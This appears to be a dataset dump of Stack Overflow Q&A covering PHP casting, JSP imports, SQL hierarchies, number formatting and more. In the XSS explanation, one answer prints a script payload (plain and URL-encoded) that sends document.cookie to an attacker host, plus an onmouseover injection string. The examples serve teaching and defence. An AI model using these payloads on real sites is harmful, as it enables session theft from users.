qid
int64
4
19.1M
question
stringlengths
18
48.3k
answers
list
date
stringlengths
10
10
metadata
list
239,136
<p>Using PHP, what's the fastest way to convert a string like this: <code>"123"</code> to an integer?</p> <p>Why is that particular method the fastest? What happens if it gets unexpected input, such as <code>"hello"</code> or an array?</p>
[ { "answer_id": 239173, "author": "nickf", "author_id": 9021, "author_profile": "https://Stackoverflow.com/users/9021", "pm_score": 10, "selected": true, "text": "Function time to run 1 million iterations\n--------------------------------------------\n(int) \"123\": 0.55029\nintval(\"123\"): 1.0115 (183%)\n\n(int) \"0\": 0.42461\nintval(\"0\"): 0.95683 (225%)\n\n(int) int: 0.1502\nintval(int): 0.65716 (438%)\n\n(int) array(\"a\", \"b\"): 0.91264\nintval(array(\"a\", \"b\")): 1.47681 (162%)\n\n(int) \"hello\": 0.42208\nintval(\"hello\"): 0.93678 (222%)\n (0 + $var) | INPUT ($x) | (int) $x |intval($x) | 0 + $x |\n|-----------------|------------|-----------|-----------|\n| \"123\" | 0.51541 | 0.96924 | 0.33828 |\n| \"0\" | 0.42723 | 0.97418 | 0.31353 |\n| 123 | 0.15011 | 0.61690 | 0.15452 |\n| array(\"a\", \"b\") | 0.8893 | 1.45109 | err! |\n| \"hello\" | 0.42618 | 0.88803 | 0.1691 |\n|-----------------|------------|-----------|-----------|\n $x = \"11\";\n(int) $x; // int(11)\nintval($x); // int(11)\n$x + 0; // int(11)\n\n$x = \"0x11\";\n(int) $x; // int(0)\nintval($x); // int(0)\n$x + 0; // int(17) !\n\n$x = \"011\";\n(int) $x; // int(11)\nintval($x); // int(11)\n$x + 0; // int(11) (not 9)\n" }, { "answer_id": 239174, "author": "staticsan", "author_id": 28832, "author_profile": "https://Stackoverflow.com/users/28832", "pm_score": 4, "selected": false, "text": " string coerce: 7.42296099663\n string cast: 8.05654597282\n string fail coerce: 7.14159703255\n string fail cast: 7.87444186211\n 0 + \"123\" (integer)\"123\" 0 + array('123') function test_string_coerce($s) {\n return 0 + $s;\n}\n\nfunction test_string_cast($s) {\n return (integer)$s;\n}\n\n$iter = 10000000;\n\nprint \"-- running each text $iter times.\\n\";\n\n// string co-erce\n$string_coerce = new Timer;\n$string_coerce->Start();\n\nprint \"String Coerce test\\n\";\nfor( $i = 0; $i < $iter ; $i++ ) {\n test_string_coerce('123');\n}\n\n$string_coerce->Stop();\n\n// string cast\n$string_cast = new Timer;\n$string_cast->Start();\n\nprint \"String Cast test\\n\";\nfor( $i = 0; $i < $iter ; $i++ ) {\n test_string_cast('123');\n}\n\n$string_cast->Stop();\n\n// string co-erce fail.\n$string_coerce_fail = new Timer;\n$string_coerce_fail->Start();\n\nprint \"String Coerce fail test\\n\";\nfor( $i = 0; $i < $iter ; $i++ ) {\n test_string_coerce('hello');\n}\n\n$string_coerce_fail->Stop();\n\n// string cast fail\n$string_cast_fail = new Timer;\n$string_cast_fail->Start();\n\nprint \"String Cast fail test\\n\";\nfor( $i = 0; $i < $iter ; $i++ ) {\n test_string_cast('hello');\n}\n\n$string_cast_fail->Stop();\n\n// -----------------\nprint \"\\n\";\nprint \"string coerce: \".$string_coerce->Elapsed().\"\\n\";\nprint \"string cast: \".$string_cast->Elapsed().\"\\n\";\nprint \"string fail coerce: \".$string_coerce_fail->Elapsed().\"\\n\";\nprint \"string fail cast: \".$string_cast_fail->Elapsed().\"\\n\";\n\n\nclass Timer {\n var $ticking = null;\n var $started_at = false;\n var $elapsed = 0;\n\n function Timer() {\n $this->ticking = null;\n }\n\n function Start() {\n $this->ticking = true;\n $this->started_at = microtime(TRUE);\n }\n\n function Stop() {\n if( $this->ticking )\n $this->elapsed = microtime(TRUE) - $this->started_at;\n $this->ticking = false;\n }\n\n function Elapsed() {\n switch( $this->ticking ) {\n case true: return \"Still Running\";\n case false: return $this->elapsed;\n case null: return \"Not Started\";\n }\n }\n}\n" }, { "answer_id": 239292, "author": "Rexxars", "author_id": 11167, "author_profile": "https://Stackoverflow.com/users/11167", "pm_score": 5, "selected": false, "text": "$iSomeVar = (int) $sSomeOtherVar;\n" }, { "answer_id": 9995790, "author": "Elric Wamugu", "author_id": 996948, "author_profile": "https://Stackoverflow.com/users/996948", "pm_score": 3, "selected": false, "text": "$int = settype(\"100\", \"integer\"); //convert the numeric string to int\n" }, { "answer_id": 23342786, "author": "Nishchit", "author_id": 2837412, "author_profile": "https://Stackoverflow.com/users/2837412", "pm_score": 4, "selected": false, "text": "$float = (float)$num; $float = (int)$num; (int) \"1212.3\" = 1212 \n(float) \"1212.3\" = 1212.3\n" }, { "answer_id": 23949435, "author": "Daniel", "author_id": 1109010, "author_profile": "https://Stackoverflow.com/users/1109010", "pm_score": 2, "selected": false, "text": "$ time php -r 'for ($x = 0;$x < 999999999; $x++){$i = (integer) \"-11\";}' \n\nreal 2m10.397s\nuser 2m10.220s\nsys 0m0.025s\n\n$ time php -r 'for ($x = 0;$x < 999999999; $x++){$i += \"-11\";}' \n\nreal 2m1.724s\nuser 2m1.635s\nsys 0m0.009s\n\n$ time php -r 'for ($x = 0;$x < 999999999; $x++){$i = + \"-11\";}' \n\nreal 1m21.000s\nuser 1m20.964s\nsys 0m0.007s\n" }, { "answer_id": 24523331, "author": "Developer", "author_id": 2248514, "author_profile": "https://Stackoverflow.com/users/2248514", "pm_score": 3, "selected": false, "text": "preg_match_all('!\\d+!', $in, $matches);\n$out = (int)implode('', $matches[0]);\n" }, { "answer_id": 25764279, "author": "Andrew Plank", "author_id": 1059666, "author_profile": "https://Stackoverflow.com/users/1059666", "pm_score": 2, "selected": false, "text": "$foo = (int)+\"12.345\";\n $foo = +\"12.345\";\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239136", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9021/" ]
239,139
<p>Is there a way in <em>Xcode</em> to sort my list of files under say the Classes folder Alphabetically?</p> <p>I know I can drag them around, but with tons of files that is a pain.</p> <p>I am surprised I can not right click on the folder and say to sort.</p>
[ { "answer_id": 5529592, "author": "jedediah", "author_id": 6342, "author_profile": "https://Stackoverflow.com/users/6342", "pm_score": 2, "selected": false, "text": "ruby sort.rb <infile> <outfile>\n #!/usr/bin/env ruby\n\nstate = :primary\ngroup = []\nfile_count = group_count = 0\n\nFile.open ARGV[0] do |infile|\n File.open ARGV[1], 'w' do |outfile|\n infile.each_line do |line|\n case state\n\n when :primary\n # copy lines until and including \"children = (\"\n outfile.write line\n state = :group if line =~ /^\\s*children\\s*=\\s*\\x28\\s*$/\n\n when :group\n if line =~ /^\\s*[0-9A-F]+\\s*\\/\\* (.*) \\*\\/,\\s*$/\n # add file to current group if \"<guid> /* <filename> */,\"\n group << [$1,line]\n file_count += 1\n\n else\n # otherwise, output sorted files,\n # empty the group, and go back to primary state\n group.sort.each do |fn,ln|\n outfile.write ln\n end\n\n state = :primary\n group = []\n outfile.write line\n group_count += 1\n end\n\n end\n end\n end\nend\n\nputs \"Sorted #{file_count} files in #{group_count} groups\"\n" }, { "answer_id": 9517883, "author": "Cœur", "author_id": 1033581, "author_profile": "https://Stackoverflow.com/users/1033581", "pm_score": 0, "selected": false, "text": "state = :group if line =~ /^\\s*files\\s*=\\s*\\x28\\s*$/\n group << [$1.downcase,line]\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239139", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26728/" ]
239,147
<p>I am a complete JSP beginner. I am trying to use a <code>java.util.List</code> in a JSP page. What do I need to do to use classes other than ones in <code>java.lang</code>?</p>
[ { "answer_id": 239199, "author": "Axeman", "author_id": 11289, "author_profile": "https://Stackoverflow.com/users/11289", "pm_score": 4, "selected": false, "text": "<%@ page import=\"java.util.List\" %>\n" }, { "answer_id": 239293, "author": "Sandman", "author_id": 19911, "author_profile": "https://Stackoverflow.com/users/19911", "pm_score": 10, "selected": true, "text": "java.util.List <%@ page import=\"java.util.List\" %>\n <%@ page import=\"package1.myClass1,package2.myClass2,....,packageN.myClassN\" %>\n" }, { "answer_id": 41284933, "author": "Birhan Nega", "author_id": 4479101, "author_profile": "https://Stackoverflow.com/users/4479101", "pm_score": 3, "selected": false, "text": " <%@ page import=\"package.class\" %>\n" }, { "answer_id": 41376032, "author": "Gaurav Varshney", "author_id": 5403764, "author_profile": "https://Stackoverflow.com/users/5403764", "pm_score": 3, "selected": false, "text": " <%@ page import = \"java.io.*\" %>\n <%@ page import = \"java.io.*\", \"java.util.*\"%>\n" }, { "answer_id": 45858105, "author": "Georgios Syngouroglou", "author_id": 1123501, "author_profile": "https://Stackoverflow.com/users/1123501", "pm_score": 3, "selected": false, "text": "<%@page import=\"path.to.your.class\"%>\n <%@tag import=\"path.to.your.class\"%>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239147", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2598/" ]
239,171
<p>I have sets of 5, 6 and 7 digit numbers. I need them to be displayed in the 000/000/000 format. So for example: </p> <p>12345 would be displayed as 000/012/345 </p> <p>and </p> <p>9876543 would be displayed as 009/876/543</p> <p>I know how to do this in a messy way, involving a series of if/else statements, and strlen functions, but there has to be a cleaner way involving regex that Im not seeing.</p>
[ { "answer_id": 239176, "author": "Adam Pierce", "author_id": 5324, "author_profile": "https://Stackoverflow.com/users/5324", "pm_score": 5, "selected": true, "text": "function formatMyNumber($num)\n{\n return sprintf('%03d/%03d/%03d',\n $num / 1000000,\n ($num / 1000) % 1000,\n $num % 1000);\n}\n" }, { "answer_id": 239180, "author": "Claudiu", "author_id": 15055, "author_profile": "https://Stackoverflow.com/users/15055", "pm_score": 0, "selected": false, "text": "def convert(num): #num is an integer\n a = str(num)\n s = \"0\"*(9-len(a)) + a\n return \"%s/%s/%s\" % (s[:3], s[3:6], s[6:9])\n" }, { "answer_id": 239205, "author": "eyelidlessness", "author_id": 17964, "author_profile": "https://Stackoverflow.com/users/17964", "pm_score": 3, "selected": false, "text": "$padded = str_pad($number, 9, '0', STR_PAD_LEFT);\n$split = str_split($padded, 3);\n$formatted = implode('/', $split);\n" }, { "answer_id": 239218, "author": "joelhardi", "author_id": 11438, "author_profile": "https://Stackoverflow.com/users/11438", "pm_score": 1, "selected": false, "text": "number_format sprintf function fmt($x) {\n return substr(number_format($x+1000000000, 0, \".\", \"/\"), 2);\n}\n" }, { "answer_id": 239236, "author": "PhiLho", "author_id": 15459, "author_profile": "https://Stackoverflow.com/users/15459", "pm_score": 2, "selected": false, "text": "function FormatWithSlashes($number)\n{\n return substr(preg_replace('/(\\d{3})?(\\d{3})?(\\d{3})$/', '$1/$2/$3',\n '0000' . $number),\n -11, 11);\n}\n\n$numbers = Array(12345, 345678, 9876543);\nforeach ($numbers as $val)\n{\n $r = FormatWithSlashes($val);\n echo \"<p>$r</p>\";\n}\n" }, { "answer_id": 239606, "author": "Dave Sherohman", "author_id": 18914, "author_profile": "https://Stackoverflow.com/users/18914", "pm_score": 1, "selected": false, "text": "function FormatWithSlashes($number)\n{\n return preg_replace('/^0*(\\d{3})(\\d{3})(\\d{3})$/', '$1/$2/$3',\n '0000' . $number);\n}\n substr('0000' . $number, -9, 9);\n" }, { "answer_id": 241439, "author": "Brad Gilbert", "author_id": 1337, "author_profile": "https://Stackoverflow.com/users/1337", "pm_score": 1, "selected": false, "text": "Perl 5.10 use 5.010;\n\nsub myformat(_;$){\n\n # prepend with zeros\n my $_ = 0 x ( 9-length($_[0]) ) . $_[0];\n\n my $join = $_[1] // '/'; # using the 'defined or' operator `//`\n\n # m// in a list context returns ($1,$2,$3,...)\n join $join, m/ ^ (\\d{3}) (\\d{3}) (\\d{3}) $ /x;\n\n}\n $_ = 11111;\nsay myformat;\nsay myformat(2222);\nsay myformat(33333,';');\nsay $_;\n Perl 5.8 sub myformat(;$$){\n local $_ = @_ ? $_[0] : $_\n\n # prepend with zeros\n $_ = 0 x ( 9-length($_) ) . $_;\n\n my $join = defined($_[1]) ? $_[1] :'/';\n\n # m// in a list context returns ($1,$2,$3,...)\n join $join, m/ ^ (\\d{3}) (\\d{3}) (\\d{3}) $ /x;\n\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239171", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,193
<p>I currently have a Visual Studio solution with 8 web applications. When I try run one of these applications, 8 instances of the Casini Web Development Servers are launched.</p> <p>Is there anyway to specify that only the web application I have set as startup project will be launched and not all 8.</p> <p>I am using Visual Studio 2008</p> <p>Thanks</p>
[ { "answer_id": 2142925, "author": "flashnik", "author_id": 217786, "author_profile": "https://Stackoverflow.com/users/217786", "pm_score": 1, "selected": false, "text": "Always start when debugging false" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239193", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15360/" ]
239,194
<p>Can someone explain how XSS works in plain english? Maybe with an example. Googling didn't help much.</p>
[ { "answer_id": 239212, "author": "Christian C. Salvadó", "author_id": 5445, "author_profile": "https://Stackoverflow.com/users/5445", "pm_score": 5, "selected": false, "text": "http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>\n http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E\n" }, { "answer_id": 430157, "author": "Mike Samuel", "author_id": 20394, "author_profile": "https://Stackoverflow.com/users/20394", "pm_score": 4, "selected": false, "text": "<BODY>\n <?= $myQueryParameter ?>\n</BODY>\n $myQueryParameter <SCRIPT> $myQueryParameter function escapePlainTextToHTML(plainText) {\n return plainText.replace(/\\0/g, '')\n .replace(/&/g, '&amp;')\n .replace(/</g, '&lt;')\n .replace(/>/g, '&gt;')\n .replace(/\"/g, '&#34;')\n .replace(/'/g, '&#39;');\n}\n" }, { "answer_id": 37476333, "author": "BillyBob", "author_id": 6380647, "author_profile": "https://Stackoverflow.com/users/6380647", "pm_score": 2, "selected": false, "text": "<input value=\"*search value here*\"> \" onmouseover=\"alert(1) <input value=\"\" onmouseover=\"alert(1)\">" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239194", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,202
<p>During execution, how can a java program tell how much memory it is using?</p> <p>I don't care how efficient it is!</p>
[ { "answer_id": 239242, "author": "mcjabberz", "author_id": 30323, "author_profile": "https://Stackoverflow.com/users/30323", "pm_score": 2, "selected": false, "text": "Runtime.getRuntime.freeMemory() Runtime.getRuntime.totalMemory() JVM's" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239202", "https://Stackoverflow.com", "https://Stackoverflow.com/users/939/" ]
239,207
<p>Do they set <code>display: none</code> or <code>visibility: hidden</code>?</p> <p>I'm pretty sure <code>display: none</code> takes the element out of the normal flow, whilst <code>visibility: hidden</code> just hides the element but still has a reserved space for it.</p> <p>Should I just go download the unpacked version and study it or does someone have a quick answer?</p>
[ { "answer_id": 239216, "author": "eyelidlessness", "author_id": 17964, "author_profile": "https://Stackoverflow.com/users/17964", "pm_score": 7, "selected": true, "text": "display hide()" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239207", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31671/" ]
239,226
<p>An old Direct3D book says </p> <blockquote> <p>"...you can achieve an acceptable frame rate with hardware acceleration while displaying between 2000 and 4000 polygons per frame..."</p> </blockquote> <p>What is one polygon in Direct3D? Do they mean one primitive (indexed or otherwise) or one triangle?</p>
[ { "answer_id": 239229, "author": "David Segonds", "author_id": 13673, "author_profile": "https://Stackoverflow.com/users/13673", "pm_score": 2, "selected": false, "text": "public static Mesh Polygon(\n Device device,\n float length,\n int sides\n)\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239226", "https://Stackoverflow.com", "https://Stackoverflow.com/users/45603/" ]
239,232
<p>In our application we enable users to print pages. We do this by supplying a button which when click calls the window.print() function.<br> Some of the pages would look better if they were printed in landscape mode rather than portrait. Is there a way to control the page layout from JavaScript? </p> <p>Update: Following the advice given here I looked for "css landscape" in google, and found the <a href="http://www.tek-tips.com/faqs.cfm?fid=5803" rel="noreferrer">following article</a> that showed ways of css-ly defining landscape:</p>
[ { "answer_id": 239234, "author": "da5id", "author_id": 14979, "author_profile": "https://Stackoverflow.com/users/14979", "pm_score": 2, "selected": false, "text": "<style type=\"text/css\" media=\"print\">@import url(\"/inc/web.print.css\");</style>\n" }, { "answer_id": 239238, "author": "eyelidlessness", "author_id": 17964, "author_profile": "https://Stackoverflow.com/users/17964", "pm_score": 4, "selected": true, "text": "<link rel=\"stylesheet\" href=\"print.css\" type=\"text/css\" media=\"print\" />\n size: landscape" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239232", "https://Stackoverflow.com", "https://Stackoverflow.com/users/278/" ]
239,258
<p>Imagine you got an entity in the Google App Engine datastore, storing links for anonymous users. You would like to perform the following SQL query, which is not supported:</p> <pre><code>SELECT DISTINCT user_hash FROM links </code></pre> <p>Instead you could use:</p> <pre><code>user = db.GqlQuery("SELECT user_hash FROM links") </code></pre> <p>How to use Python <strong>most efficiently</strong> to filter the result, so it returns a DISTINCT result set? How to count the DISTINCT result set?</p>
[ { "answer_id": 239305, "author": "James Bennett", "author_id": 28070, "author_profile": "https://Stackoverflow.com/users/28070", "pm_score": 1, "selected": false, "text": "unique_results = []\nfor obj in user:\n if obj not in unique_results:\n unique_results.append(obj)\n for" }, { "answer_id": 239326, "author": "unmounted", "author_id": 11596, "author_profile": "https://Stackoverflow.com/users/11596", "pm_score": 3, "selected": true, "text": ">>> a = ['google.com', 'livejournal.com', 'livejournal.com', 'google.com', 'stackoverflow.com']\n>>> b = set(a)\n>>> b\nset(['livejournal.com', 'google.com', 'stackoverflow.com'])\n>>> \n unique_results unique_results = {}\n>>> for item in a:\n unique_results[item] = ''\n\n\n>>> unique_results\n{'livejournal.com': '', 'google.com': '', 'stackoverflow.com': ''}\n" }, { "answer_id": 5340901, "author": "Carlos Ricardo", "author_id": 468868, "author_profile": "https://Stackoverflow.com/users/468868", "pm_score": 0, "selected": false, "text": "def unique_result(array):\n urk={} #unique results with key\n for c in array:\n if c.key() not in urwk:\n urk[str(c.key())]=c\n return urk.values()\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239258", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26763/" ]
239,263
<p>Is there a mandatory relationship between a Controller Action and a View? I mean is it necessary to have a physical View (.aspx page) for each Action inside a Controller class?</p>
[ { "answer_id": 239524, "author": "Dan Atkinson", "author_id": 31532, "author_profile": "https://Stackoverflow.com/users/31532", "pm_score": 2, "selected": false, "text": "public ContentResult Index()\n{\n return Content(\"Foobar!\");\n}\n Response.Write(\"Foobar!\");\nResponse.End();\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239263", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27946/" ]
239,264
<p>Does anyone have a copy of MSIINV.EXE (The MSI Inventory tool)? The site where it used to be available is down(<a href="http://www.huydao.net/" rel="nofollow noreferrer">http://www.huydao.net/</a>). I'm trying to uninstall some components in order to force the Visual Studio Setup to reinstall them. I apologize as this is not strictly a programming question but I figured anyone that has installed some of the Visual Studio beta stuff may have run into this problem as well.</p>
[ { "answer_id": 52228225, "author": "Matthew Wetmore", "author_id": 7102111, "author_profile": "https://Stackoverflow.com/users/7102111", "pm_score": 3, "selected": false, "text": "msiinv.exe -p msiinv.exe -p | findstr /i <pattern> msiinv.exe -p <leading match> msiinv.exe -?\nUsage: msiinv.exe [option [option]]\n -p [product] Product list\n -f Feature state by product. (includes -p)\n -q Component count by product (includes -p)\n -# Component count and features states by product (-p -f -q)\n\n -x Orphaned components.\n -m Shared components.\n -c Evaluate components (-x -m).\n\n -l List of log files.\n\n -t Elapsed time for run. (Benchmarking)\n\n -s Reduced output.(-p -#)\n -n Normal output. (default)\n -v Verbose output. (default + feature and component lists)\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239264", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3927/" ]
239,275
<p>Let's say I have the following table:</p> <pre><code>CustomerID ParentID Name ========== ======== ==== 1 null John 2 1 James 3 2 Jenna 4 3 Jennifer 5 3 Peter 6 5 Alice 7 5 Steve 8 1 Larry </code></pre> <p>I want to retrieve in one query all the descendants of James (Jenna,Jennifer,Peter, Alice, Steve). Thanks, Pablo.</p>
[ { "answer_id": 239283, "author": "Jasper Bekkers", "author_id": 31486, "author_profile": "https://Stackoverflow.com/users/31486", "pm_score": 0, "selected": false, "text": "CREATE TABLE objects(\n id SERIAL PRIMARY KEY,\n name TEXT,\n lft INT,\n rgt INT\n);\n\nINSERT INTO objects(name, lft, rgt) VALUES('The root of the tree', 1, 2);\n START TRANSACTION;\n\n-- postgresql doesn't support variables so we create a temporary table that \n-- gets deleted after the transaction has finished.\n\nCREATE TEMP TABLE left_tmp(\n lft INT\n) ON COMMIT DROP; -- not standard sql\n\n-- store the left of the parent for later use\nINSERT INTO left_tmp (lft) VALUES((SELECT lft FROM objects WHERE name = 'The parent of the newly inserted node'));\n\n-- move all the children already in the set to the right\n-- to make room for the new child\nUPDATE objects SET rgt = rgt + 2 WHERE rgt > (SELECT lft FROM left_tmp LIMIT 1);\nUPDATE objects SET lft = lft + 2 WHERE lft > (SELECT lft FROM left_tmp LIMIT 1);\n\n-- insert the new child\nINSERT INTO objects(name, lft, rgt) VALUES(\n 'The name of the newly inserted node', \n (SELECT lft + 1 FROM left_tmp LIMIT 1), \n (SELECT lft + 2 FROM left_tmp LIMIT 1)\n);\n\nCOMMIT;\n SELECT\n parent.id, parent.lft\nFROM\n objects AS current_node\nINNER JOIN\n objects AS parent\nON\n current_node.lft BETWEEN parent.lft AND parent.rgt\nWHERE\n current_node.name = 'The name of the deepest child'\nORDER BY\n parent.lft;\n SELECT\n REPEAT(' ', CAST((COUNT(parent.id) - 1) AS INT)) || '- ' || current_node.name AS indented_name\nFROM\n objects current_node\nINNER JOIN\n objects parent\nON\n current_node.lft BETWEEN parent.lft AND parent.rgt\nGROUP BY\n current_node.name,\n current_node.lft\nORDER BY\n current_node.lft;\n SELECT\n current_node.name AS node_name\nFROM\n objects current_node\nINNER JOIN\n objects parent\nON\n current_node.lft BETWEEN parent.lft AND parent.rgt\nAND\n parent.name = 'child'\nGROUP BY\n current_node.name,\n current_node.lft\nORDER BY\n current_node.lft;\n" }, { "answer_id": 239303, "author": "mathieu", "author_id": 971, "author_profile": "https://Stackoverflow.com/users/971", "pm_score": 6, "selected": true, "text": "with Hierachy(CustomerID, ParentID, Name, Level)\nas\n(\nselect CustomerID, ParentID, Name, 0 as Level\n from Customers c\n where c.CustomerID = 2 -- insert parameter here\n union all\n select c.CustomerID, c.ParentID, c.Name, ch.Level + 1\n from Customers c\n inner join Hierachy ch\n on c.ParentId = ch.CustomerID\n)\nselect CustomerID, ParentID, Name\nfrom Hierachy\nwhere Level > 0\n" }, { "answer_id": 240910, "author": "Kaniu", "author_id": 3236, "author_profile": "https://Stackoverflow.com/users/3236", "pm_score": -1, "selected": false, "text": "SELECT d.NAME FROM Customers As d\nINNER JOIN Customers As p ON p.CustomerID = d.ParentID\nWHERE p.Name = 'James'\n" }, { "answer_id": 3793998, "author": "zozzancs", "author_id": 373155, "author_profile": "https://Stackoverflow.com/users/373155", "pm_score": 2, "selected": false, "text": "\n\nwith Hierachy(CustomerID, ParentID, Name, Level)\nas\n(\nselect CustomerID, ParentID, Name, 0 as Level\n from Customers c\n where c.CustomerID = 2 -- insert parameter here\n union all\n select c.CustomerID, c.ParentID, c.Name, ch.Level + 1\n from Customers c\n inner join Hierachy ch\n\n -- EDITED HERE --\n on ch.ParentId = c.CustomerID\n ----------------- \n\n)\nselect CustomerID, ParentID, Name\nfrom Hierachy\nwhere Level > 0\n\n\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239275", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30729/" ]
239,278
<p>I have database with many tables. In the first table, I have a field called <code>status</code>.</p> <pre><code>table 1 idno name status 111 hjghf yes 225 hjgjj no 345 hgj yes </code></pre> <p>Other tables could have same <code>idno</code> with different fields.</p> <p>I want to check the status for each id no and if it is yes then for that id number in all tables for all null and blank fields I want to update them as 111111.</p> <p>I am looking for a sample vba code for this which I can adapt.</p> <p>Thanks</p>
[ { "answer_id": 241191, "author": "Fionnuala", "author_id": 2548, "author_profile": "https://Stackoverflow.com/users/2548", "pm_score": -1, "selected": true, "text": "Sub UpdateNulls()\nDim strSQL As String\nDim rs As DAO.Recordset\nFor Each tdf In CurrentDb.TableDefs\n If Left(tdf.Name, 4) <> \"Msys\" And tdf.Name <> \"Table1\" Then\n strSQL = \"Select * From [\" & tdf.Name & \"] a Inner Join \" _\n & \"Table1 On a.idno = Table1.idno Where Table1.Status = 'Yes'\"\n\n Set rs = CurrentDb.OpenRecordset(strSQL)\n\n Do While Not rs.EOF\n For i = 0 To rs.Fields.Count - 1\n If IsNull(rs.Fields(i)) Then\n rs.Edit\n rs.Fields(i) = 111111\n rs.Update\n End If\n Next\n rs.MoveNext\n Loop\n\n End If\nNext\nEnd Sub\n" }, { "answer_id": 241851, "author": "Tom Mayfield", "author_id": 2314, "author_profile": "https://Stackoverflow.com/users/2314", "pm_score": 0, "selected": false, "text": "UPDATE Table2\nINNER JOIN Table1\n ON Table2.idno = Table1.idno\nSET Table2.salary = 111111\nWHERE Table1.status = 'yes'\nAND Table2.salary Is Null\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239278", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31132/" ]
239,301
<p>Is there in Ruby some functionality/syntax to compare two floats with delta? Something similar to <em>assert_in_delta(expected_float, actual_float, delta)</em> from <em>test/unit</em> but returning Boolean?</p>
[ { "answer_id": 239314, "author": "ysth", "author_id": 17389, "author_profile": "https://Stackoverflow.com/users/17389", "pm_score": 6, "selected": true, "text": "(expected_float - actual_float).abs <= delta\n" }, { "answer_id": 31553495, "author": "cvkline", "author_id": 3427338, "author_profile": "https://Stackoverflow.com/users/3427338", "pm_score": 1, "selected": false, "text": "amount.to_r.round(2)" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239301", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31726/" ]
239,302
<p>I usually never see test for new in C++ and I was wondering why.</p> <p><code>Foo *f = new Foo;</code></p> <p><code>// f is assumed as allocated, why usually, nobody test the return of new?</code></p>
[ { "answer_id": 239307, "author": "David Holm", "author_id": 22247, "author_profile": "https://Stackoverflow.com/users/22247", "pm_score": 7, "selected": true, "text": "Foo* foo = new (std::nothrow) Foo;\n" }, { "answer_id": 239597, "author": "n-alexander", "author_id": 23420, "author_profile": "https://Stackoverflow.com/users/23420", "pm_score": 3, "selected": false, "text": "new std::bad_alloc new (std::nothrow) malloc()" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239302", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25888/" ]
239,306
<p>I have a Request object which contains a list of Approvers. An approver has a name and an approval position.</p> <ol> <li>Mathew </li> <li>Mark </li> <li>Luke </li> <li>John</li> </ol> <p>Ultimately, a request will move through this chain, starting at Mathew and ended at John.</p> <p>I need to be able to re-order these allowing adds and deletes as outlined below.</p> <p>An approver can be -</p> <p>Added at a certain position - ie. Add Peter at position 3 in which case the new order would be</p> <ol> <li>Mathew </li> <li>Mark </li> <li>Peter</li> <li>Luke </li> <li>John</li> </ol> <p>Delete - ie. Delete Mark in which case the new order is</p> <ol> <li>Mathew </li> <li>Luke </li> <li>John</li> </ol> <p>Edited - ie you can change John's position to 1 in which case the new order is</p> <ol> <li>John</li> <li>Mathew </li> <li>Mark </li> <li>Luke </li> </ol> <p>I have come up with a number of solutions, however none of them is particular elegant.</p> <p>Any help would be much appreciated</p>
[ { "answer_id": 239313, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 2, "selected": false, "text": "List<T> Add() Insert() Remove() Remove() Insert() using System;\nusing System.Collections.ObjectModel;\nusing System.Linq;\n\n// I only added this to use a lazier \"collection initializer\" below,\n// which needs an Add(string) method...\nclass ApproverCollection : Collection<Approver> {\n public void Add(string name) { Add(new Approver(name)); }\n}\nclass Request {\n public Request() { Approvers = new ApproverCollection(); }\n public ApproverCollection Approvers { get; private set; }\n}\nclass Approver {\n public Approver(string name) { Name = name; }\n public string Name { get; set; }\n}\nstatic class Program {\n static void Main() {\n Request req = new Request {\n Approvers = {\"Mathew\", \"Mark\", \"Luke\", \"John\"}\n };\n req.ShowState(\"Initial\");\n req.Approvers.Insert(2, new Approver(\"Peter\"));\n req.ShowState(\"Inserted Peter\");\n Approver mark = req.Approvers.Single(x => x.Name == \"Mark\");\n req.Approvers.Remove(mark);\n req.ShowState(\"Removed Mark\");\n Approver john = req.Approvers.Single(x => x.Name == \"John\");\n req.Approvers.Remove(john);\n req.Approvers.Insert(0, john);\n req.ShowState(\"Moved John\");\n }\n static void ShowState(this Request request, string caption) {\n Console.WriteLine();\n Console.WriteLine(caption);\n int pos = 1;\n foreach(Approver a in request.Approvers) {\n Console.WriteLine(\"{0}: {1}\", pos++, a.Name);\n }\n }\n}\n" }, { "answer_id": 239316, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 4, "selected": true, "text": "List<T> LinkedList<T> LinkedListNode<T>" } ]
2008/10/27
